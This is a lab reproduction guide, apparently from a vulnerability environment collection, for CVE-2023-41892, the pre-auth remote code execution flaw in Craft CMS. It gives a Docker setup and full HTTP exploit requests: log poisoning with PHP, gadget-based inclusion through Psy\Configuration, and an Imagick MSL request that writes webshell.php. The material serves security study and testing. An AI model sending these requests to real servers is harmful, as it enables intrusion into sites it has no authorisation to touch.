# CraftCMS ConditionsController Pre-Auth Remote Code Execution (CVE-2023-41892)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
Craft CMS is a flexible, user-friendly CMS for creating custom digital experiences on the web. It provides users with a backend interface to implement websites and configure the CMS.
|
|
|
|
A vulnerability in Craft CMS versions 4.4.0 through 4.4.14 allows unauthenticated attackers to achieve remote code execution through the `ConditionsController`. The vulnerability exists due to insufficient input validation in the controller's `beforeAction` method, which can be exploited to create arbitrary objects and achieve code execution.

|
## Environment Setup
|
|
|
|
Execute the following command to start a vulnerable Craft CMS 4.4.14:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After the server is running, you can see the installation page at `http://your-ip:8088/admin/install`. Please follow the instructions to install CraftCMS, the default database address is `db` and the username and password are both `root`.
|
|
|
|

|
|
|
|
## Vulnerability Reproduction
|
|
|
|
The root cause of the vulnerability is that the attacker can send a specially crafted HTTP request to create arbitrary objects through PHP object injection. By chaining multiple gadgets in the codebase, the attacker can achieve remote code execution.
|
|
|
|
There are two common gadgets that can be used to achieve remote code execution.
|
|
|
|
### Gadget 1: `craft\elements\conditions\users\UserCondition` with `\Psy\Configuration`
|
|
|
|
This gadget requires server logging to be enabled, which is enabled by default.
|
|
|
|
First, send a POST request with a syntax error JSON to write the payload to the log file:
|
|
|
|
```
|
|
POST /index.php?action=conditions/render HTTP/1.1
|
|
Host: localhost:8088
|
|
Content-Type: application/json
|
|
|
|
{
|
|
aaaaaaaaaaaaaaaaaaaaa
|
|
aaaaaaaaaaaaaaaaaaaaaa
|
|
aaaaaaaaaaaaaaaaaaaaa
|
|
<?php
|
|
@phpinfo(); __halt_compiler();
|
|
?>
|
|
}
|
|
```
|
|
|
|

|
|
|
|
Then, trigger the remote code execution by including the log file through the `\Psy\Configuration` gadget (replace the `2025-03-31` with your current date):
|
|
|
|
```
|
|
POST /index.php?action=conditions/render HTTP/1.1
|
|
Host: localhost:8088
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"config": {
|
|
"name": "test",
|
|
"as xyz": {
|
|
"class": "\\Psy\\Configuration",
|
|
"__construct()": {
|
|
"config": {
|
|
"configFile": "../storage/logs/web-2025-03-31.log"
|
|
}
|
|
}
|
|
}
|
|
},
|
|
"test": "craft\\elements\\conditions\\users\\UserCondition"
|
|
}
|
|
```
|
|
|
|

|
|
|
|
As you can see, the PHPINFO is executed successfully.
|
|
|
|
### Gadget 2: `craft\elements\conditions\users\UserCondition` with built-in `Imagick` class
|
|
|
|
If the Imagick extension is enabled, you can use the `Imagick` class with MSL format to write arbitrary files:
|
|
|
|
```
|
|
POST /index.php?action=conditions/render HTTP/1.1
|
|
Host: localhost:8088
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytlNPtAxuuGOeUqqY
|
|
|
|
------WebKitFormBoundarytlNPtAxuuGOeUqqY
|
|
Content-Disposition: form-data; name="test"
|
|
|
|
craft\elements\conditions\users\UserCondition
|
|
------WebKitFormBoundarytlNPtAxuuGOeUqqY
|
|
Content-Disposition: form-data; name="config[name]"
|
|
|
|
test
|
|
------WebKitFormBoundarytlNPtAxuuGOeUqqY
|
|
Content-Disposition: form-data; name="config[as xyz][class]"
|
|
|
|
imagick
|
|
------WebKitFormBoundarytlNPtAxuuGOeUqqY
|
|
Content-Disposition: form-data; name="config[as xyz][__construct()][0][0]"
|
|
|
|
vid:msl:/tmp/php*
|
|
------WebKitFormBoundarytlNPtAxuuGOeUqqY
|
|
Content-Disposition: form-data; name="file"; filename="1.msl"
|
|
Content-Type: text/plain
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<image>
|
|
<read filename="caption:<?=phpinfo();?>"/>
|
|
<write filename="info:webshell.php" />
|
|
</image>
|
|
------WebKitFormBoundarytlNPtAxuuGOeUqqY--
|
|
```
|
|
|
|
This payload will execute PHP code like `new Imagick('vid:msl:/tmp/php*');`, and cause the "Segmentation fault" error, which makes the thread crash:
|
|
|
|

|
|
|
|
But the `webshell.php` file is written successfully:
|
|
|
|
